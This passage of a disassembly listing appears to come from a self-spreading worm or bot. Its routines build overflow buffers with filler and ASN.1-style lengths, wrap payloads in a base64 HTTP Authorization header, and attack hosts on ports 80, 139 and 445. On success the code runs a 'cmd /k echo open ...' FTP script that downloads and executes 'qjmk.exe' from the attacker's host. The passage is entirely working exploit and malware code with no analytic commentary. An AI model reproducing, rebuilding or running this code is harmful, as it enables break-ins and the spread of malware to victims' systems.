[ebp+arg_4] push [ebp+arg_0] push esi call sub_415960 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_415960 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4017AA: ; CODE XREF: sub_40175E+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40175E endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4017C8 proc near ; CODE XREF: sub_401159j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4017D8 push eax call sub_415D6C pop ecx loc_4017D8: ; CODE XREF: sub_4017C8+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4017C8 endp ; --------------------------------------------------------------------------- db 6 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4017E7 proc near ; CODE XREF: sub_40100Fj push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_401814 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_415CF8 mov edi, eax pop ecx test edi, edi jnz short loc_401818 loc_401814: ; CODE XREF: sub_4017E7+Dj xor al, al jmp short loc_40186F ; --------------------------------------------------------------------------- loc_401818: ; CODE XREF: sub_4017E7+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_415CA0 add esp, 0Ch cmp ebx, 1 jnz short loc_40183D mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_401857 ; --------------------------------------------------------------------------- loc_40183D: ; CODE XREF: sub_4017E7+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_401857: ; CODE XREF: sub_4017E7+54j push eax call sub_415960 add esp, 0Ch push dword ptr [esi] call sub_415D6C add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40186F: ; CODE XREF: sub_4017E7+2Fj pop edi pop esi pop ebx retn sub_4017E7 endp ; --------------------------------------------------------------------------- db 23h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401896 proc near ; CODE XREF: sub_401230j var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4370B8 call sub_401352 lea ecx, [ebp+var_8] call sub_40100F mov eax, [ebp+var_4] inc eax push eax call sub_415CF8 mov edi, eax pop ecx test edi, edi jnz short loc_4018D0 xor al, al jmp short loc_40190C ; --------------------------------------------------------------------------- loc_4018D0: ; CODE XREF: sub_401896+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_415CA0 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_415960 add esp, 18h mov ecx, esi call sub_401159 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_401159 mov al, 1 loc_40190C: ; CODE XREF: sub_401896+38j pop edi pop esi leave retn sub_401896 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40192E proc near ; CODE XREF: sub_401087j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_401352 mov ecx, esi call sub_401159 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40192E endp ; --------------------------------------------------------------------------- db 0Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40196F proc near ; CODE XREF: sub_401311j arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_4158E0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_401087 pop esi retn 4 sub_40196F endp ; --------------------------------------------------------------------------- db 7 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_401993 proc near ; CODE XREF: sub_4010FAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_401087 retn 8 sub_401993 endp ; --------------------------------------------------------------------------- db 4 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019A7 proc near ; CODE XREF: sub_401190j var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40100F test al, al jz short loc_4019E0 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42A16C call sub_401352 mov ecx, esi call sub_401159 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_4019E0: ; CODE XREF: sub_4019A7+Fj pop esi leave retn sub_4019A7 endp ; --------------------------------------------------------------------------- db 0Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4019F2 proc near ; CODE XREF: sub_4012C6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_4010FA test al, al jz short loc_401A0D mov ecx, esi call sub_401190 loc_401A0D: ; CODE XREF: sub_4019F2+12j pop esi retn 8 sub_4019F2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A18 proc near ; CODE XREF: sub_40123Fj var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_401078 mov edi, 408h cmp [ebp+arg_8], edi jg loc_401D6C mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_401D6C push esi lea ecx, [ebp+var_30] call sub_401078 lea ecx, [ebp+var_20] call sub_401078 lea ecx, [ebp+var_50] call sub_401078 lea ecx, [ebp+var_18] call sub_401078 lea ecx, [ebp+var_40] call sub_401078 lea ecx, [ebp+var_38] call sub_401078 lea ecx, [ebp+var_28] call sub_401078 push 4 push offset dword_429D5C lea ecx, [ebp+var_30] call sub_401087 push 3 push offset dword_429D64 lea ecx, [ebp+var_30] call sub_401087 lea ecx, [ebp+var_30] call sub_401230 lea ecx, [ebp+var_30] call sub_401190 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_415CA0 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_401087 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_401087 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_401087 lea ecx, [ebp+var_20] call sub_401230 push offset dword_42A194 lea ecx, [ebp+var_50] call sub_401311 lea ecx, [ebp+var_50] call sub_401230 push esi lea eax, [ebp+var_858] push 44h push eax call sub_415CA0 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_4011A4 lea ecx, [ebp+var_58] call sub_401230 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_4012C6 lea ecx, [ebp+var_58] call sub_401159 push esi lea eax, [ebp+var_858] push 43h push eax call sub_415CA0 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_401311 push 4 push offset dword_429D68 lea ecx, [ebp+var_18] call sub_401087 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_401087 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_401087 lea ecx, [ebp+var_18] call sub_401230 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_4010FA push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_4010FA lea ecx, [ebp+var_40] call sub_401190 lea ecx, [ebp+var_18] call sub_401159 lea ecx, [ebp+var_50] call sub_401159 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_4010FA push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_4010FA push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_4010FA lea ecx, [ebp+var_38] call sub_401190 lea ecx, [ebp+var_20] call sub_401159 lea ecx, [ebp+var_30] call sub_401159 lea ecx, [ebp+var_40] call sub_401159 push esi lea eax, [ebp+var_858] push 41h push eax call sub_415CA0 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_401087 lea ecx, [ebp+var_28] call sub_401230 push 2 push offset dword_42A188 lea ecx, [ebp+var_28] call sub_401087 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_4010FA lea ecx, [ebp+var_28] call sub_401190 lea ecx, [ebp+var_38] call sub_401159 lea ecx, [ebp+var_10] call sub_401078 lea ecx, [ebp+var_8] call sub_401078 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_4010FA lea ecx, [ebp+var_10] call sub_40100F lea ecx, [ebp+var_28] call sub_401159 push offset dword_42A184 lea ecx, [ebp+var_8] call sub_401311 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_4010FA lea ecx, [ebp+var_8] call sub_40100F lea ecx, [ebp+var_10] call sub_401159 push offset dword_42A180 lea ecx, [ebp+var_10] call sub_401311 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_4010FA lea ecx, [ebp+var_10] call sub_40100F lea ecx, [ebp+var_8] call sub_401159 push offset dword_42A174 lea ecx, [ebp+var_8] call sub_401311 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_4010FA lea ecx, [ebp+var_8] call sub_40100F lea ecx, [ebp+var_10] call sub_401159 push offset dword_42A170 lea ecx, [ebp+var_48] call sub_401311 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_4010FA lea ecx, [ebp+var_8] call sub_401159 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_401D7A ; --------------------------------------------------------------------------- loc_401D6C: ; CODE XREF: sub_401A18+1Bj ; sub_401A18+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_401D7A: ; CODE XREF: sub_401A18+352j pop edi pop ebx leave retn sub_401A18 endp ; --------------------------------------------------------------------------- db 0D9h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E57 proc near ; CODE XREF: sub_401221j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_495544 ; select cmp eax, edi jnz short loc_401EBE lea eax, [ebp+var_10C] push eax push esi call sub_421070 ; __WSAFDIsSet test eax, eax jnz short loc_401EC2 loc_401EBE: ; CODE XREF: sub_401E57+54j xor eax, eax jmp short loc_401ED2 ; --------------------------------------------------------------------------- loc_401EC2: ; CODE XREF: sub_401E57+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_491674 ; recv loc_401ED2: ; CODE XREF: sub_401E57+69j pop edi pop esi leave retn sub_401E57 endp ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401EF5 proc near ; CODE XREF: sub_401096j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_491658 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4916AC ; send cmp eax, 4 jz short loc_401F1F xor al, al leave retn ; --------------------------------------------------------------------------- loc_401F1F: ; CODE XREF: sub_401EF5+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4916AC ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_401EF5 endp ; --------------------------------------------------------------------------- db 11h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F4B proc near ; CODE XREF: sub_40109Bj var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_415CF8 mov esi, eax pop ecx test esi, esi jnz short loc_401F74 xor al, al jmp loc_402020 ; --------------------------------------------------------------------------- loc_401F74: ; CODE XREF: sub_401F4B+20j push ebx push 0 push esi call sub_415CA0 push 2Fh push offset dword_429DF8 push esi call sub_415960 push 8 lea eax, [esi+31h] push offset dword_429E28 push eax mov [esi+2Fh], di call sub_415960 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_415960 push 6 add ebx, edi push offset dword_4370AC push ebx call sub_415960 mov ebx, [ebp+arg_0] push 85h push offset dword_429D70 push ebx call sub_401096 add esp, 48h test al, al jnz short loc_401FDC loc_401FD8: ; CODE XREF: sub_401F4B+B5j xor bl, bl jmp short loc_402017 ; --------------------------------------------------------------------------- loc_401FDC: ; CODE XREF: sub_401F4B+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_401221 push [ebp+var_4] push esi push ebx call sub_401096 add esp, 1Ch test al, al jz short loc_401FD8 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_401221 add esp, 10h mov bl, 1 loc_402017: ; CODE XREF: sub_401F4B+8Fj push esi call sub_415D6C pop ecx mov al, bl loc_402020: ; CODE XREF: sub_401F4B+24j pop edi pop esi pop ebx leave retn sub_401F4B endp ; --------------------------------------------------------------------------- db 36h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40205B proc near ; CODE XREF: sub_40119Fj var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_429E34 push [ebp+arg_0] call ds:dword_495540 ; send cmp eax, 48h jnz short loc_402096 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_401221 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_402096 cmp [ebp+var_20], 82h jz short loc_40209A loc_402096: ; CODE XREF: sub_40205B+1Bj ; sub_40205B+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40209A: ; CODE XREF: sub_40205B+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40109B add esp, 0Ch leave retn sub_40205B endp ; --------------------------------------------------------------------------- db 14h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C1 proc near ; CODE XREF: sub_401244j var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_427078 call sub_415ECC and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_427068 fstp [esp+10h+var_10] call sub_415D9B fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_415ECC inc eax leave retn sub_4020C1 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_402120 proc near ; CODE XREF: sub_401334j var_40 = qword ptr -40h mov eax, offset loc_4250A3 call sub_4163B8 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_401050 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_401244 cmp [ebp-2Ch], eax pop ecx jnb short loc_402162 push edi push eax lea ecx, [ebp-38h] call sub_401348 loc_402162: ; CODE XREF: sub_402120+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40227F mov ebx, [ebp+10h] loc_402171: ; CODE XREF: sub_402120+156j cmp dword ptr [ebp+10h], 3 jb short loc_40217B push 3 jmp short loc_40218D ; --------------------------------------------------------------------------- loc_40217B: ; CODE XREF: sub_402120+55j cmp dword ptr [ebp+10h], 2 jnz short loc_402185 push 2 jmp short loc_40218D ; --------------------------------------------------------------------------- loc_402185: ; CODE XREF: sub_402120+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40218E push 1 loc_40218D: ; CODE XREF: sub_402120+59j ; sub_402120+63j pop ebx loc_40218E: ; CODE XREF: sub_402120+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul ds:dbl_427088 fstp [esp+40h+var_40] call sub_415EF3 pop ecx pop ecx call sub_415ECC cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_4021CD mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_4021CD: ; CODE XREF: sub_402120+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40223B add [ebp-18h], eax loc_40221F: ; CODE XREF: sub_402120+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_429E80[eax] push eax push 1 call sub_40130C inc esi cmp esi, [ebp-1Ch] jb short loc_40221F loc_40223B: ; CODE XREF: sub_402120+FAj cmp dword ptr [ebp-18h], 48h jb short loc_402259 push dword ptr [ebp+14h] call sub_4158E0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_401307 mov [ebp-18h], edi loc_402259: ; CODE XREF: sub_402120+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_402273 sub esi, [ebp-1Ch] loc_402264: ; CODE XREF: sub_402120+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40130C dec esi jnz short loc_402264 loc_402273: ; CODE XREF: sub_402120+13Fj cmp [ebp+10h], edi ja loc_402171 push 1 pop ebx loc_40227F: ; CODE XREF: sub_402120+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_401050 push ds:dword_427084 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_401258 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_401050 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_402120 endp ; --------------------------------------------------------------------------- db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40232A proc near ; CODE XREF: sub_4012CBj mov eax, offset loc_4250C8 call sub_4163B8 sub esp, 10h push ebx push esi push edi push offset byte_4370BC lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_401334 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_415CF8 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_402374 xor bl, bl jmp short loc_4023B8 ; --------------------------------------------------------------------------- loc_402374: ; CODE XREF: sub_40232A+44j mov ecx, [ebp-18h] mov eax, offset dword_427094 cmp ecx, ebx jnz short loc_402382 mov ecx, eax loc_402382: ; CODE XREF: sub_40232A+54j cmp [ebp+18h], ebx jz short loc_40238A mov eax, [ebp+18h] loc_40238A: ; CODE XREF: sub_40232A+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_4163D7 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4916AC ; send cmp eax, esi jz short loc_4023AF xor bl, bl jmp short loc_4023B1 ; --------------------------------------------------------------------------- loc_4023AF: ; CODE XREF: sub_40232A+7Fj mov bl, 1 loc_4023B1: ; CODE XREF: sub_40232A+83j push edi call sub_415D6C pop ecx loc_4023B8: ; CODE XREF: sub_40232A+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_401050 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_401050 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40232A endp ; --------------------------------------------------------------------------- db 2Eh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402413 proc near ; CODE XREF: sub_4011B8j var_624 = byte ptr -624h var_424 = byte ptr -424h var_423 = byte ptr -423h var_395 = byte ptr -395h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_BB = byte ptr 0C3h push ebp mov ebp, esp sub esp, 624h and [ebp+var_424], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_423] push 8Fh rep stosd stosw stosb lea eax, [ebp+var_424] push offset dword_42A02C push eax call sub_415960 add esp, 0Ch mov eax, offset aQjmk_exe ; "qjmk.exe" push eax push eax push dword_43DB94 push [ebp+arg_0] call sub_401299 pop ecx push eax push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "... lea eax, [ebp+var_395] push 400h push eax call sub_4163D7 add eax, 90h push eax lea eax, [ebp+var_424] push eax push 164h lea eax, [ebp+var_24] push offset aSvwfbA ; "SVWf" push eax call sub_40123F mov ecx, [eax] xor esi, esi mov [ebp+var_8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp+var_4], eax jnz short loc_4024B9 xor eax, eax jmp loc_40261D ; --------------------------------------------------------------------------- loc_4024B9: ; CODE XREF: sub_402413+9Dj mov [ebp+var_C], esi loc_4024BC: ; CODE XREF: sub_402413+1A9j test esi, esi jnz loc_4025C2 push 6 push 1 push 2 call ds:dword_49553C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4025AA xor eax, eax lea edi, [ebp+var_1A] stosd push [ebp+arg_A0] stosd stosd stosw mov [ebp+var_1C], 2 call dword_49165C ; htons mov [ebp+var_1A], ax lea eax, [ebp+arg_4] push eax call dword_49169C ; inet_addr mov [ebp+var_18], eax lea eax, [ebp+var_1C] push 10h push eax push ebx call dword_491604 ; connect cmp eax, 0FFFFFFFFh jz loc_40259F cmp [ebp+arg_A0], 50h jnz short loc_402567 mov al, [ebp+arg_BB] sub esp, 10h mov esi, esp mov [ebp+var_20], esp push 0 mov ecx, esi mov [esi], al call sub_401050 lea eax, [ebp+arg_4] push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+arg_4] push eax mov ecx, esi call sub_4010F0 push [ebp+var_4] push [ebp+var_8] push ebx call sub_4012CB add esp, 1Ch jmp short loc_40259C ; --------------------------------------------------------------------------- loc_402567: ; CODE XREF: sub_402413+112j cmp [ebp+arg_A0], 8Bh jnz short loc_402581 push [ebp+var_4] push [ebp+var_8] push ebx call sub_40119F jmp short loc_402599 ; --------------------------------------------------------------------------- loc_402581: ; CODE XREF: sub_402413+15Ej cmp [ebp+arg_A0], 1BDh jnz short loc_40259F push [ebp+var_4] push [ebp+var_8] push ebx call sub_40109B loc_402599: ; CODE XREF: sub_402413+16Cj add esp, 0Ch loc_40259C: ; CODE XREF: sub_402413+152j movzx esi, al loc_40259F: ; CODE XREF: sub_402413+105j ; sub_402413+178j push ebx call dword_4916F4 ; closesocket test esi, esi jnz short loc_4025B5 loc_4025AA: ; CODE XREF: sub_402413+C2j push 3E8h call ds:dword_495324 ; Sleep loc_4025B5: ; CODE XREF: sub_402413+195j inc [ebp+var_C] cmp [ebp+var_C], 2 jl loc_4024BC loc_4025C2: ; CODE XREF: sub_402413+ABj lea ecx, [ebp+var_8] call sub_401159 test esi, esi jz short loc_40261B lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_A8] imul eax, 3Ch add eax, offset aAsn1http ; "asn1http" push eax push offset aSS_ ; "%s// %s." lea eax, [ebp+var_624] push 200h push eax call sub_4163D7 lea eax, [ebp+var_624] push eax call sub_401014 mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch inc dword_42AF30[eax] lea eax, dword_42AF30[eax] loc_40261B: ; CODE XREF: sub_402413+1B9j mov eax, esi loc_40261D: ; CODE XREF: sub_402413+A1j pop edi pop esi pop ebx leave retn sub_402413 endp ; --------------------------------------------------------------------------- db 83h dup(0CCh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425084 loc_4026A5: ; CODE XREF: sub_425084:loc_401249j push 1 call sub_401050 retn ; END OF FUNCTION CHUNK FOR sub_425084 ; --------------------------------------------------------------------------- db 2 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4026AF proc near ; CODE XREF: sub_40130Cj arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, ds:dword_427084 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4026C9 call sub_415573 loc_4026C9: ; CODE XREF: sub_4026AF+13j test ebx, ebx jbe short loc_402700 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_401348 test al, al jz short loc_402700 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_415CA0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_402700: ; CODE XREF: sub_4026AF+1Cj ; sub_4026AF+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4026AF endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40271E proc near ; CODE XREF: sub_401307j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, ds:dword_427084 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_402738 call sub_415573 loc_402738: ; CODE XREF: sub_40271E+13j test ebx, ebx jbe short loc_40276D mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_401348 test al, al jz short loc_40276D mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_415960 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40276D: ; CODE XREF: sub_40271E+1Cj ; sub_40271E+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40271E endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40278A proc near ; CODE XREF: sub_401258j arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_4027A2 call sub_41579F loc_4027A2: ; CODE XREF: sub_40278A+11j mov eax, [ebx+8] mov ecx, 